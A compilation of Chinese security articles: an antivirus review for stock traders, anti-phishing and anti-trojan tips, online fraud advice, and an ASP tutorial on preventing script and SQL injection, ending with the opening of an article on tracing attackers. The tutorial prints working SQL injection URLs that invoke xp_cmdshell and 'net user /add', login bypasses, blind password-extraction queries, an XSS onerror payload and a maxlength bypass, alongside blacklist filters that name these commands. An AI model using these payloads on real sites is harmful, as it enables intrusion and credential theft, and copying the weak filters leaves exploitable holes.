查杀能力非常关键,对银行帐号和股票帐号的保护工作也必须做好。目前许多反病毒软件中都带有隐私保护功能,把银行帐户、个人电话、各类密码等信息输入到软件数据库以后,当有人通过邮件、QQ等IM聊天工具向外发送这些敏感信息时,反病毒软件会立刻进来拦截并发出提示警告,这对于股民来说是一个非常有用的功能。

《金山毒霸2007》在“综合设置”中有单独的“隐私保护”选项,由于数据输入是不可逆的,所以用户不用担心这些信息被人偷窥,另外用户也可以可以设置密码保护来防止别人来编辑和查看。

《江民KV2007》同样具有上述功能,而且提供了信息导入/导出功能,操作起来比较方便(如图03)。



图03

4、嵌入式防毒评测

股民除了网上炒股以外,还会经常通过QQ等即时通讯软件与其他股友进行交流,另外随着炒股的火热,各种各样的股票群也不断增多。这些网络手段虽然方便了股民,却也带来了不少的安全隐患。嵌入式防火墙,可以与即时通讯工具紧密结合提供安全防护,它的最大特点就是无需开启主程序,即可独立工作。

《金山毒霸2007》中的聊天工具嵌入防毒,提供的保护对象较多,可以对QQ、ICQ、MSN、OFFICE等进行保护。《江民KV2007》可以嵌入OFFICE办公组件、FLASHGET、WINRAR、WINZIP等软件。《瑞星2007》提供了OFFICE和IE嵌入防毒。《卡巴斯基反病毒软件6.0》则在主动防御模块中提供了OFFICE、程序完整性等多项防护措施(如图04)。



图04

5、网络反钓鱼评测

作为股民经常要通过网上银行进行银证转帐,还要浏览各类财经网站、论坛、甚至是个人的股票博客,以便打深各类消息,这很容易掉进网络钓鱼的陷阱当中。网络钓鱼(Phishing)是网络上非常猖獗的一种诈骗方式,它的传播手段众多、技术更新快,是对网络支付和网银安全的最大威胁。

这类钓鱼网站如果不细心很难进行防范,因为它们通常设计得与真实网站一模一样,所以反病毒软件中如果带有自动识别钓鱼网站的功能,对股民来说是多了一道保护伞。

《金山毒霸2007》中的网页反钓鱼模块除了黑白名单以外,还有一个非常实用的敏感网址保护功能,在“敏感的网址”列表中把常去的一些网络银行地址、在线支付地址,以及网上商城地址添加进去。当你打开与这些网址近似的网站时,软件会在IE浏览器中进行页面提示,这用来识别那些在网址中用数字1假冒字母l,用字母O假冒数字0的钓鱼网站非常有效(如图05)。



图05

6、病毒库主动升级评测

病毒特征码库作为一种简捷有效的查杀病毒方式,发展到今天比拼的更多的是病毒库升级时效及更新频率。《金山毒霸》和《瑞星》一般每天升级三次,《卡巴斯基》每3小时就提供一个升级包,《Norton AntiVirus》和《江民》也都每天至少升级一次。其中大多数软件都具备自动和定时升级、以及系统安全漏洞修复功能,免去了用户的后顾之忧(如图06)。



图06

除了这些常规升级之外,面对突发病毒和事件的应急反应速度,也是衡量一款产品服务质量的重要标准。例如:去年年末,台湾地震引发的光缆断裂,就曾经让许多《卡巴斯基》的国内用户无法更新病毒库,事后他们在国内架设了临时服务器才有所缓解。

另外,软件和病毒库升级在注重数量的同时,还应注意质量,最近网上闹得沸沸扬扬的诺顿和卡巴斯基误杀门事件,给所有的厂家敲响了一记警钟。

四、评测综述

经过一番非常烦琐的测试,各项评测项目成绩见下表,笔者认为一款杀毒能力优秀、又具备多样功能和人性化功能的软件应该是股民的最佳选择。

通过此次评测,我想股民朋友们不光在自己心里都选好了最适合自己的反病毒软件,而且也学到了一些安全防范知识。只有提高安全意识,灵活运用好手中的安全软件,才能最大限度的保证我们的安全。

火眼金睛小心防范网络盗贼三板斧的侵袭

火眼金睛小心防范网络盗贼三板斧的侵袭

作者:lvvl 来源:赛迪网安全社区

现在越来越多的网民、游戏玩家遇到过QQ号、网游账号,甚至网上银行账号被盗。网上窃贼已经从早期的单兵作战,发展到盗号销赃一条龙。针对网络盗窃,一方面存在调查取证难,二是有关立法司法严重滞后,使得网络盗窃的风险远比普通盗窃要低很多。如何保护自己的网络财产?成为网民普遍关心的问题。

其实网络盗贼常用的手法,不外乎“猜”、“骗”、“偷”三板斧。

一“猜”

这一招是最没有技术含量的,就是盗贼获得你的账号信息后,尝试猜解账号密码。我曾看到过CCTV有期节目,说福建某地查获一批小盗贼,他们在受害人银行提款时,记录银行账号,拿到账号后,就尝试猜解密码,按说这应该是非常困难的,但是他们却缕缕得手,其原因就是太多人使用的口令非常容易被猜到。很多人的口令与出生日期、车牌号、电话号码关联,这样自己记起来是容易,小偷偷起来更容易,最要命的是,不少人的口令只用一个,比如MSN,QQ,网游账号,用的都是一个,一把钥匙开所有的门。

防止密码被猜中的方法很简单,使用位数更长,也更复杂的密码吧,自己牢记在心,别写在纸上或者记录在任何电子文件中,让贼去猜,累死他,呵呵。

二“骗”

曾经有个真实案例,某地小区发现一个新建的储蓄所,外观和其它银行并无二致,小区居民觉得不错,银行开到家门口,当然是方便了。有个银行的工作人员从这家即将建好的储蓄所经过,觉得太陌生,打了个电话咨询上级,发现根本没有在本地建储蓄所有情况,打电话报警,警方调查的结果令人大吃一惊,这根本就是个假银行。而在网络上,这种类似假银行的就不再是个案,而是随处可见。稍不留神,你可能就进假银行办业务了。专家给这种“骗”取了个形象的名字——网络钓鱼。

防止被骗,首先要练自己的眼力,和对付面对面的骗子一样,千万别因贪心而被骗。认准自己常去的网站,在你准备输入账号密码时,再检查一遍地址对不对,在线交易时要特别留神。也有协助你防骗的技术手段,比如金山毒霸的网络反钓鱼功能,支持模糊匹配保护白名单,发现和白名单特别像的连接会提醒访问者,但切记技术不是万能的,关键还的靠自己。

三“偷”

在这三板斧中技术含量最高,窃贼在受害者登录的电脑上种植木马,偷盗用的木马通常有两类,一类是通用木马,可以远程控制受害人电脑,被远程控制的电脑一举一动都可能被远程控制者观察到,或者通过键盘钩子监视受害电脑的每个击键动作,将日志文件发送到远程攻击者分析。这类手法需要分析的数据量太大,不利于分析大量目标,严重影响作案效率。另一类就是精确制导了,比如广泛存在的QQ盗号木马、魔兽盗号木马、征途盗号木马、网银大盗等等。这类木马只监视特定目标,可以通过键盘钩子,也可以捕获鼠标指针周围一定像素的屏幕图像,即使网络银行,网络游戏的登录窗口使用虚拟键盘,也一样被盗。最近一个朋友说他的网络银行账号里被人分10多次偷了1万多元,盗窃者通过木马窃取了受害者的网络银行登录账号密码,因为使用的是网络银行大众版,日消费转帐上限为1000元,盗窃者多次完成交易,使得该盗窃者留下多处盗窃痕迹。这里需要指出的是,因为网络银行大众版的证书是公用的,窃贼只要偷到账号密码就算得手了,其安全性备受质疑。网络银行专业版需要同时偷走账号密码和证书,证书在尝试恢复时,系统会通过短信或邮件通知用户,并且证书的恢复过程中还多了输入口令的环节,安全性要高得多。

防被偷,就需要防木马,用网络银行专业版取代大众版,只在安全的电脑上登录。杀毒软件是很好的辅助工具,但是别迷信杀毒软件的报告。任何一款杀毒软件都不能保证你的系统不被植入木马,如果谁说可以,一定江湖骗子。比如,我在网吧登录QQ或网络游戏时,首先会看看进程,当然这不适用于一般用户,进程启动项,只有专业玩家才能看明白。普通用户可以这么干,打开一个记事本,随便写多段字串,其中含有登录密码,多次使用剪贴板复制密码的多个部分,组成真正的密码,将其粘贴到登录窗口,一定程度上可以避免号码被盗。还有,将你的QQ号,网游账号和手机绑定,方便你被盗后追回你的账号。

网络消费慎防各类来自互联网的欺诈威胁

作者:茫然的风 来源:赛迪网

现在很多公司企业利用计算机技术、网络技术和远程通信技术,实现整个商务(买卖)过程中的电子化、数字化和网络化。人们的交易是通过网络,通过网上琳琅满目的商品信息、完善的物流配送系统和方便安全的资金结算系统进行交易(买卖)。 例如,许多合法的公司通过Internet销售其产品或服务,慈善团体可以使用Internet请求捐款等等。不幸的是,一些非法的公司和个人也利用互联网这个便利的媒体平台进行非法的、欺诈性的谋利活动。那么如何面对这种可恶的网络欺诈呢?本文给出几个技巧,供您在网络上花钱做一参考。

知道你在和谁进行贸易

如果你对卖方并不熟悉,就请你上网查一下国家或当地的工商行政管理部门或者是消费者权益保护组织的网站,或者咨询一些经常进行网络消费的人员。有一些网站拥有反馈论坛,这可以为用户提供其他人与特定网络销售者进行贸易时的经验、经历的信息。最好是得到其所在的物理地址以及其电话号码等,一定要验证此类信息的真实性!因为公司可以假冒,电话号码也可以伪造!

搜索投诉处理的有关信息

处理投诉可能比较为困难,特别是当销售者位于另一个国家时。你需要上网查找Web有关站点资料,明确有关公司企业需要承担的法律责任标准,并且知晓有哪些组织可以处理你的投诉请求。

无投诉并不意味着有了安全保障

网络骗子公司开的快,关门也快,因此如果一家公司没有受到投诉并不意味着它是合法的、可信的。你仍然需要搜索其它的可证明其欺诈的危险性信号。

不要相信让你快速发财的承诺

如果有人宣称你用很少的金钱和少量的劳动就可以获得贷款或信用卡,即使你的商业信誉不好,也可以让你无风险地快速致富,这极有可能是一个骗局。永远记住,天上不会掉馅饼。

理解对方所提供的信息

一个合法可信的网络销售商会向顾客展示其产品或服务的详细信息,如产品规格与型号、价格、交货时间、退货及取消条款,当然还包括保修条件等。

反对强制性要求

正当的公司乐于给用户做出决策的时间。如果有人要求你立即付款或不允许顾客做出否定的回答等,那他可能正在对你实施欺诈。

在填写由不熟悉的公司提供的具有争议性的报名表时,要慎之又慎。

网络欺诈者有时会用一些具有争议性的表格或条款欺骗那些潜在的受害者。

当心那些未被请求的电子邮件:这种电子邮件通常是欺诈性的。如果你熟悉某个给你发送电子邮件的公司,而你又不想再接收其电子邮件了,你应该发送一个要求从电子邮件列表中清除的请求。然而,响应一个未知的发送者可能只会确认你的电子邮箱是一个可以正常使用的邮件地址,其结果就是会有更多的陌生邮件陆续发送到你的邮箱。最好的方法是删除这个邮件。

当心“披着羊皮的狼”或称冒充者:有人可能会给你发送一个电子邮件,装作与某某公司有联系,或者创建一个看起来像是一个合法的或著名的公司的Web站点。如果你并不知道自己是否正在与一个真实的组织打交道,那就找另一种方法联系这家合法的公司,并进行仔细询问。

保护你的个人信息:除非你真得要付账,不要提供你的信用卡号或银行账号。如果有人宣称来自某某公司,而你在此公司有一个账号,此人向你索要此公司保存的信息时,需要特别当心。这有可能是一个陷阱。

当心“危险的下载”:在下载看图、听音乐、玩游戏等程序时,有可能同时下载能毁坏你的计算机文件的病毒、木马等,它们可能会要求与远程计算机连接。因此,除非你清除这个程序一定是善意的,请不要随便让你的防火墙解除对其访问网络的阻止。而且只从你信任的站点下载程序,还要仔细阅读所有的用户协议。

脚本攻击防范策略完全篇

脚本攻击防范策略完全篇

近来,网络上的SQL Injection 漏洞利用攻击,JS脚本,HTML脚本攻击似乎逾演逾烈。陆续的很多站点都被此类攻击所困扰,并非像主机漏洞那样可以当即修复,来自于WEB的攻击方式使我们在防范或者是修复上都带来了很大的不便。HOOO...... 一个站长最大的痛苦莫过于此。自己的密码如何如何强壮却始终被攻击者得到,但如何才能做到真正意义上的安全呢?第一,别把密码和你的生活联系起来;第二,Supermaster的PWD最好只有你自己知道;第三,绝对要完善好你的网站程序。然而怎样才能完善,这将是我们此文的最终目的。

安全防护,如何做到安全防护?想要防护就要知道对方是如何进行攻击。有很多文章都在写如何攻下某站点,其实其攻击的途径也不过是以下几种:

1. 简单的脚本攻击

此类攻击应该属于无聊捣乱吧。比如****:alert(); </table>等等,由于程序上过滤的不严密,使攻击者既得不到什么可用的,但又使的他可以进行捣乱的目的。以目前很多站点的免费服务,或者是自身站点的程序上也是有过滤不严密的问题。

2. 危险的脚本攻击

这类脚本攻击已经过度到可以窃取管理员或者是其他用户信息的程度上了。比如大家都知道的cookies窃取,利用脚本对客户端进行本地的写操作等等。

3. Sql Injection 漏洞攻击

可以说,这个攻击方式是从动网论坛和BBSXP开始的。利用SQL特殊字符过滤的不严密,而对数据库进行跨表查询的攻击。比如:

http://127.0.0.1/forum/showuser.asp?id=999 and 1=1

http://127.0.0.1/forum/showuser.asp?id=999 and 1=2

http://127.0.0.1/forum/showuser.asp?id=999 and 0<>(select count(*) from admin)

http://127.0.0.1/forum/showuser.asp?id=999'; declare @a sysname set @a='xp_'+

'cmdshell' exec @a 'dir c:\'---&aid=9

得到了管理员的密码也就意味着已经控制的整站,虽然不一定能得到主机的权限,但也为这一步做了很大的铺垫。类似的SQL Injection攻击的方式方法很多,对不同的文件过滤不严密所采取的查询方式也不同。所以说想做好一个完整的字符过滤程序不下一凡功夫是不可能的。

4. 远程注入攻击

某站点的所谓的过滤只是在提交表格页上进行简单的JS过滤。对于一般的用户来说,你大可不必防范;对早有预谋的攻击者来说,这样的过滤似乎根本没作用。我们常说的POST攻击就是其中一例。通过远程提交非法的信息以达到攻击目的。

通过上面的攻击方法的介绍,我们大致的了解了攻击者的攻击途径,下面我们就开始重点的介绍,如何有效的防范脚本攻击!

让我们还是从最简单的开始:

防范脚本攻击

JS脚本 和HTML脚本攻击的防范其实很简单:server.HTMLEncode(Str)完事。当然你还不要大叫,怎么可能?你让我把全站类似<%=uid%>都加过滤我还不累死?为了方便的过滤,我们只需要将HTML脚本和JS脚本中的几个关键字符过滤掉就可以了:程序体(1)如下:

‘以下是过滤函数

<%

function CHK(fqyString)

fqyString = replace(fqyString, ">", ">")

fqyString = replace(fqyString, "<", "<")

fqyString = replace(fqyString, "&#", "&")

fqyString = Replace(fqyString, CHR(32), "  ")

fqyString = Replace(fqyString, CHR(9), " ")

fqyString = Replace(fqyString, CHR(34), """)

fqyString = Replace(fqyString, CHR(39), "'")

fqyString = Replace(fqyString, CHR(13), "")

fqyString = Replace(fqyString, CHR(10) & CHR(10), "</P><P> ")

fqyString = Replace(fqyString, CHR(10), "<BR> ")

CHK = fqyString

end function

%>

‘以下是应用实例

<%=CHK(Username)%>

Username=CHK(replace(request("username"),"'",""))

使用Include把函数写在公有页面上,这样效率是最好的。

程序体(1)

另外,值得我们注意的是,很多站点在用户注册,或者是用户资料修改的页面上也缺少脚本的过滤,或者是只在其中之一进行过滤,注册进入后修改资料仍然可以进行脚本攻击。对用户提交的数据进行检测和过滤,程序体(2) 如下:

‘以下是过滤函数

If Instr(request("username"),"=")>0 or

Instr(request("username"),"%")>0 or

Instr(request("username"),chr(32))>0 or

Instr(request("username"),"?")>0 or

Instr(request("username"),"&")>0 or

Instr(request("username"),";")>0 or

Instr(request("username"),",")>0 or

Instr(request("username"),"'")>0 or

Instr(request("username"),"?")>0 or

Instr(request("username"),chr(34))>0 or

Instr(request("username"),chr(9))>0 or

Instr(request("username"),"")>0 or

Instr(request("username"),"$")>0 or

Instr(request("username"),">")>0 or

Instr(request("username"),"<")>0 or

Instr(request("username"),"""")>0 then

response.write "朋友,你的提交用户名含有非法字符,请更改,谢谢合作 <a href='****:window.history.go(-1);'>返回</a>"

response.end

end if

程序体(2)

为了提供工作效率我们再将过滤内容程序化,这样对多个参数的过滤效率将有很大程度上的提高:如 程序体(3)

‘以下为程序主体

dim Bword(18)

Bword(0)="?"

Bword(1)=";"

Bword(2)=">"

Bword(3)="<"

Bword(4)="-"

Bword(5)="'"

Bword(6)=""""

Bword(7)="&"

Bword(8)="%"

Bword(9)="$"

Bword(10)="'"

Bword(11)=":"

Bword(12)="|"

Bword(13)="("

Bword(14)=")"

Bword(15)="--"

Bword(16)=" chr(9)"

Bword(17)=" chr(34)"

Bword(18)=" chr(32)"

errc=false

‘以下是应用实例部分

for i= 0 to ubound(Bword)

if instr(FQYs,Bword(i))<>0 then

errc=true

end if

next

if errc then

response.write "<script language=""****"">"

response.write "parent.alert('很抱歉!您的操作违法了);"

response.write "history,back();"

response.write "</script>"

response.end

end if

程序体(3)

有了上面的过滤函数您可以在任何需要过滤的地方应用过滤函数直接使用就可以了。这就使我们的修复工作大大的简化了。

另外,我想在这里再次多提醒一下,一些站点的UBB在进行小的表情图标转化时也会出现过滤问题,由于很隐蔽所以不容易发现:

如:

我们标签内的文字进行修改,

不知道各位看懂没,前一个单引号用来中和程序提供的左引号,第二个单引号用来中和闭合的右引号,这样程序输出就为:

<img src='img/0001.gif' onerror=****:alert(); alt=''>

如果图片不存在,那么将激活onerror标签执行脚本程序。对于已经过滤了单引号的站点在这里用双引号一样可以完成。对于过滤了****字段的,只用alert()也完全可以。所以说要过滤就要过滤完全,别给攻击者留下一丝机会。

防范SQL Injection 漏洞攻击

可以这样说,这里似乎是整篇文章的重点了.SQL Injection 漏洞攻击的的多样化也使得我们在程序防护上不得不想的更多一些。面对SQL Injection 的强大"攻势",我们到底该过滤哪些?

一些常用的危险字符有

' 数据库字段判别封闭

-- 某些数据库注释标志

# 某些数据库注释标志

" 可能导致程序出错

\ 跨越目录

3221143836nicode编码的特征字符

$ 可能用于变量标注

/ 和\ 一样

NULL 小心"空"录入的危险,可能导致数据库或系统处理报错,利用报错构造溢出.

空格和'一起,构造sql injeciton

? = & 如果存在二次参数传递,可能改写querystr。

(1) 从最一般的.SQL Injection 漏洞攻击来看:用户名和密码上的过滤问题,如:

提交:用户名为:'or''=' 用户密码为:'or''='

从程序出发,我们完全可以得出,数据库在执行以下操作

Sql=" SELECT * FROM lUsers WHERE Username=''or''='' and Password = ''or''=''"

这样一来,这样,SQL 服务器将返回 lUsers 表格中的所有记录,而 ASP 脚本将会因此而误认为攻击者的输入符合 lUsers 表格中的第一条记录,从而允许攻击者以该用户的名义登入网站。对此类注入的防范似乎简单的很:

利用以下程序就可以实现,程序体(4)

strUsername = Replace(Request.Form("Username"), "''", "''''")

strPassword = Replace(Request.Form("Password"), "''", "''''")

程序体(4)

(2)杜绝SQL 注入式攻击的第一步就是采用各种安全手段监控来自 ASP request 对象 (Reques、Request.QueryString、Request.Form、Request.Cookies和 Request.ServerVariables) 的用户输入,以确保 SQL 指令的可靠性。具体的安全手段根据你的 DBMS 而异。

SQL 注入式攻击可能引起的危害取决于该网站的软件环境和配置。当 Web 服务器以操作员(dbo)的身份访问数据库时,利用SQL注入式攻击就可能删除所有表格、创建新表格,等等。当服务器以超级用户 (sa) 的身份访问数据库时,利用SQL注入式攻击就可能控制整个 SQL 服务器;在某些配置下攻击者甚至可以自行创建用户帐号以完全操纵数据库所在的 Windows 服务器。

如:

http://127.0.0.1/forum/showuser.asp?id=999';declare @a sysname set @a='xp_'+

'cmdshell' exec @a 'dir c:\'--&aid=9

http://127.0.0.1/forum/showuser.asp?id=999'; declare @a sysname set @a='xp'+

'_cm'+'dshell' exec @a 'dir c:\'--&aid=9

甚至可以执行像:net user fqy fqy /add 这样的指令.当然这就需要你当前的运行身份必须是Sa,或者你攻击的只是一台虚拟主机,我劝你还是就此打住.

对于一些整机使用的站点来说防止通过80端口攻击而直接拿到整机管理权限,这一点就变得至关重要了。对xp_cmdshell 的过滤就成为首要,很多站点的程序都是用GET或者是GET与POST混合来提交数据的,对于此,我们给出一种防止GET进行SQL注入的程序:如程序体(5)

fqys=request.servervariables("query_string")

dim nothis(18)

nothis(0)="net user"

nothis(1)="xp_cmdshell"

nothis(2)="/add"

nothis(3)="exec%20master.dbo.xp_cmdshell"

nothis(4)="net localgroup administrators"

nothis(5)="select"

nothis(6)="count"

nothis(7)="asc"

nothis(8)="char"

nothis(9)="mid"

nothis(10)="'"

nothis(11)=":"

nothis(12)=""""

nothis(13)="insert"

nothis(14)="delete"

nothis(15)="drop"

nothis(16)="truncate"

nothis(17)="from"

nothis(18)="%"

errc=false

for i= 0 to ubound(nothis)

if instr(FQYs,nothis(i))<>0 then

errc=true

end if

next

if errc then

response.write "<script language=""****"">"

response.write "parent.alert('很抱歉!你正在试图攻击本服务器或者想取得本服务器最高管理权!将直接转向首页..');"

response.write "self.location.href='default.asp';"

response.write "</script>"

response.end

end if

程序体(5)

我要做点声明的是:以上的程序只是对GET方式提交的数据进行的过滤,千万不要盲目套用。

像其他一些来自 ASP request 对象 (Reques、Request.QueryString、Request.Form、Request.Cookies和 Request.ServerVariables) 的用户输入的攻击方法的方法,大致都集中在脚本期望的输入变量是数字变量 (ID) 上,当然我们不能只看数字变量,比如:

http://127.0.0.1/systembbs/showtopic.asp?tid=99&name=abc' and left(userpasswor

d,1)='a

http://127.0.0.1/systembbs/addtopic.asp?tid=99&name=abc' and userpasswor

d='or''='

另外,如何单一的防止类似这样的注入错误?

http://127.0.0.1/systembbs/addtopic.asp?tid=99' ;delete forum_forum;--&page=33

防范程序: 程序体(6)

......addtopic.asp?action=add......

......addtopic.asp?action=delect......

Action1=trim(Request.QueryString())

if left(action1,7)<>"action=" then '限定querystring必须为 action=

error(err01)'错误处理

else

action=Request.querystring("action")'取得querystring的值

end if

select case action'对querystring进行处理

case "add"

.....

case "delete"

......

case else '如果querystring没有这个值则进行错误处理

error(err02)

end select

程序体(6)

出现这样的攻击,使我们的站长们不得不又再次头痛,这里我可以给出大家一个解决最好办法,一般的来说,用户名长度字符数不会超过15个字符,大都为14字符。那么我们从长度出发,来进行过滤:如程序体(7)

Name=replace(name,"'","")

If len(name)>16 then

Response.write " 你要做什么?"

Response.end

End if

程序体(7)

为什么我们这里以及过滤了单引号,怎么还要再次取一个长度限制呢?不多说了,看看4ngel的文章先<<饶过'限制继续射入>> .别问我怎么转数字格式,我不会,嘿嘿...^_^!

还继续回到我们的主题," 脚本期望的输入变量是数字变量 (ID)".怎样进行注入防范,天呐,方法太多了,最直接的就是判断是否是数字整型,还有一些比较个性的验证办法,我们一一介绍一下 如:程序体(8)

一,判断数字是否是整型

p_lngID = CLng(Request("ID"))

二 取字长 这一点我相信一般的数据长度不会大于8位所以:

If len(ID)>8 then

response.write "bedpost"

response end

end if

三 我认为这是一种比较冒险的办法,就是再进行一次数据库的查询,如果数据库表内没有相同的值与之相同那么返回错误.

sql = "SELECT NAME FROM Category where ID="&ID

set temp=conn.Execute(SQL)

if temp.bof or temp.eof then

response.Redirect("index.asp")

else

cat_name=temp("name")

end if

set temp=nothing

‘上面的是数据ID 的检测,下面则是正式的查询

sql = "SELECT ID T_ID, NAME FROM Category where ID="&ID&" ORDER BY xh asc"

rs.open sql,conn,1,1

四,我自己常用的数据过滤脚本,专利,呵~

id=replace(id,"'","")

If len( request("id"))>8 then ‘ 为什么取长度上面程序中已经说明

response.write "<script language=""****"">"

response.write "parent.alert('老大,你说吧,你想干什么?..');"

response.write "history.back();"

response.write "</script>"

response.end

else

If request("id")<>"" then ‘取不为空则是为了防止一些程序页中会出现空值情况,如果不在这里做判断,程序会校验出错.

If IsNumeric(request("id"))=False then ' 风清扬修改 ID数据监控程式

response.write "<script language=""****"">"

response.write "parent.alert('错误的数据编号类型\n\n请返回校验');"

response.write "history.back();"

response.write "</script>"

response.end

end if

end if

end if

程序体(8)

由于我个人的编程习惯,我喜欢将所有的数据检验程序全部保留到整站的公用程序中,比如:conn.asp啦,只需要写一次就可以修复全站的问题.

说到这里,我提一点关于攻击的问题,就是跑用户密码或者是用户名,一般常用的就是

....../show.asp?id=1 and 0<>(select count(*) from admin where id=3 and left(username,1)='a')

这样去一个一个尝试,当然我们不能在这里提什么Perl程序去跑密码,程序是别人写,要自己知道原理.这里我只是想给个比较方便的办法就是取ASC码范围.这个要比单独跑要快很多.不论是是字母,数字,汉字,特殊字符,他们总会有对应的ASC码,用以下办法:

....../show.asp?id=1 and 0<>(select count(*) from admin where id=3 and asc(right(left(username

e,3),1)) between 1 and 10000) 剩下的就随你了,一般的从97到122就可以啦,字母嘛,很快D.呵呵,有人想用mid 函数当然也是不错 asc(mid(username,2,1)) between 1 and 10000 也成.

如何更加有效的防止SQL注入攻击?我们将在下面的文章中具体提到!

防范远程注入攻击

这类攻击在以前应该是比较常见的攻击方式,比如POST攻击,攻击者可以随便的改变要提交的数据值已达到攻击目的.又如:COOKIES 的伪造,这一点更值得引起程序编写者或站长的注意,不要使用COOKIES来做为用户验证的方式,否则你和把钥匙留给贼是同一个道理.

比如:

If trim(Request. cookies ("uname"))="fqy" and Request.cookies("upwd")

="fqy#e3i5.com" then

........more.........

End if

我想各位站长或者是喜好写程序的朋友千万别出这类错误,真的是不可饶恕.伪造COOKIES 都多少年了,你还用这样的就不能怪别人跑你的密码.涉及到用户密码或者是用户登陆时,你最好使用session 它才是最安全的.如果要使用COOKIES就在你的COOKIES上多加一个信息,SessionID,它的随机值是64位的,要猜解它,不可能.例:

if not (rs.BOF or rs.eof) then

login="true"

Session("username"&sessionID) = Username

Session("password"& sessionID) = Password

‘Response.cookies("username")= Username

‘Response.cookies("Password")= Password

下面我们来谈谈如何防范远程注入攻击,一般的攻击都是将单表提交文件拖到本地,将Form ACTION="chk.asp" 指向你服务器中处理数据的文件即可.如果你全部的数据过滤都在单表页上,那么恭喜你,你将已经被脚本攻击了.

怎么才能制止这样的远程攻击?好办,请看代码如下: 程序体(9)

<%

server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))

server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))

if mid(server_v1,8,len(server_v2))<>server_v2 then

response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"

response.write "<tr><td style=font:9pt Verdana>"

response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"

response.write "</td></tr></table></center>"

response.end

end if

%>

‘个人感觉上面的代码过滤不是很好,有一些外部提交竟然还能堂堂正正的进来,于是再写一个.

‘这个是过滤效果很好,建议使用.

if instr(request.servervariables("http_referer"),"http://"&request.servervariables("host") )<1 then

response.write "处理 URL 时服务器上出错。<br>如果您是在用任何手段攻击服务器,那你应该庆幸,你的所有操作已经被服务器记录,我们会第一时间通知公安局与***部门来调查你的IP. "

response.end

end if

程序体(9)

本以为这样就万事大吉了,在表格页上加一些限制,比如maxlength啦,等等..但天公就是那么不作美,你越怕什么他越来什么.你别忘了,攻击者可以突破sql注入攻击时输入框长度的限制.写一个SOCKET程序改变HTTP_REFERER?我不会。网上发表了这样一篇文章:

------------len.reg-----------------

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\扩展(&E)]

@="C:\Documents and Settings\Administrator\桌面\len.htm"

"contexts"=dword:00000004

-----------end----------------------

-----------len.htm------------------

<script language=vbs>

set srcevent = external.menuarguments.event

set doc=external.menuarguments.document

set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )

if ele.type ="text" or ele.type="password" then

ele.maxlength=200

ele.size=200

end if

</script>

----------end-----------------------

用法:先把len.reg导入注册表(注意文件路径)

然后把len.htm拷到注册表中指定的地方.

打开网页,光标放在要改变长度的输入框上点右键,看多了一个叫扩展的选项了吧

单击搞定! 后记:同样的也就可以对付那些限制输入内容的脚本了.

怎么办?我们的限制被饶过了,所有的努力都白费了?不,举起你de键盘,说不。让我们继续回到脚本字符的过滤吧,他们所进行的注入无非就是进行脚本攻击。我们把所有的精力全都用到ACTION以后的页面吧,在chk.asp页中,我们将非法的字符全部过滤掉,结果如何?我们只在前面虚晃一枪,叫他们去改注册表吧,当他们改完才会发现,他们所做的都是那么的徒劳。

ASP木马

已经讲到这里了,再提醒各位论坛站长一句,小心你们的文件上传:为什么论坛程序被攻破后主机也随之被攻击者占据。原因就在......对!ASP木马!一个绝对可恶的东西。病毒么?非也.把个文件随便放到你论坛的程序中,您老找去吧。不吐血才怪哦。如何才能防止ASP木马被上传到服务器呢?方法很简单,如果你的论坛支持文件上传,请设定好你要上传的文件格式,我不赞成使用可更改的文件格式,直接从程序上锁定,只有图象文件格式,和压缩文件就完全可以,多给自己留点方便也就多给攻击者留点方便。怎么判断格式,我这里收集了一个,也改出了一个,大家可以看一下: 程序体(10)

'判断文件类型是否合格

Private Function CheckFileExt (fileEXT)

dim Forumupload

Forumupload="gif,jpg,bmp,jpeg"

Forumupload=split(Forumupload,",")

for i=0 to ubound(Forumupload)

if lcase(fileEXT)=lcase(trim(Forumupload(i))) then

CheckFileExt=true

exit Function

else

CheckFileExt=false

end if

next

End Function

‘验证文件内容的合法性

set MyFile = server.CreateObject ("Scripting.FileSystemObject")

set MyText = MyFile.OpenTextFile (sFile, 1) ' 读取文本文件

sTextAll = lcase(MyText.ReadAll): MyText.close

'判断用户文件中的危险操作

sStr ="8|.getfolder|.createfolder|.deletefolder|.createdirectory|

.deletedirectory"

sStr = sStr & "|.saveas|wscript.shell|script.encode"

sNoString = split(sStr,"|")

for i = 1 to sNoString(0)

if instr(sTextAll, sNoString(i)) <> 0 then

sFile = Upl.Path & sFileSave: fs.DeleteFile sFile

Response.write "<center><br><big>"& sFileSave &"文件中含有与操作目录等有关的命令"&_

"<br><font color=red>"& mid(sNoString(i),2) &"</font>,为了安全原因,<b>不能上传。<b>"&_

"</big></center></html>"

Response.end

end if

next

程序体(10)

把他们加到你的上传程序里做一次验证,那么你的上传程序安全性将会大大提高.

什么?你还不放心?拿出杀手锏,请你的虚拟主机服务商来帮忙吧。登陆到服务器,将PROG ID 中的"shell.application"项和"shell.application.1"项改名或删除。再将"WSCRIPT.SHELL"项和"WSCRIPT.SHELL.1"这两项都要改名或删除。呵呵,我可大胆的说,国内可能近半以上的虚拟主机都没改过。只能庆幸你们的用户很合作,否则......我删,我删,我删删删......

小结

如何更好的达到防范SQL Injection的攻击?这里我个人给推荐几个办法,第一,免费程序不要真的就免费用,既然你可以共享原码,那么攻击者一样可以分析代码。如果有能力的站长最好还是更改一下数据库表名,字段名,只修改关键的admin, username, password就可以了,比如forum_upasswd 这样的字段名谁能猜到?如果你猜到了,最好赶快去买彩票吧,特等奖不是你还会有谁呢?另外,一般站点的关键就在于管理员的密码,很好的保护好你的管理员密码那是至关重要的,至少10位的数字字母组合。另外加上现在大多数站点程序都会使用MD5来加密用户密码,加上你密码的强壮性,那样你站点的安全性就大大的提高了。即使出现了SQL Injection漏洞,攻击者也不可能马上拿下你的站点。

绝地反击 用最简单的方法查找黑客老巢

绝地反击 用最简单的方法查找黑客老巢

作者:lvvl 来源:赛迪网安全社区

网络安全是一个综合的、复杂的工程,任何网络安全措施都不能保证万无一失。因此,对于一些重要的部门,一旦网络遭到攻击,如何追踪网络攻击,追查到攻击者并将其绳之以法,是十分必要的。

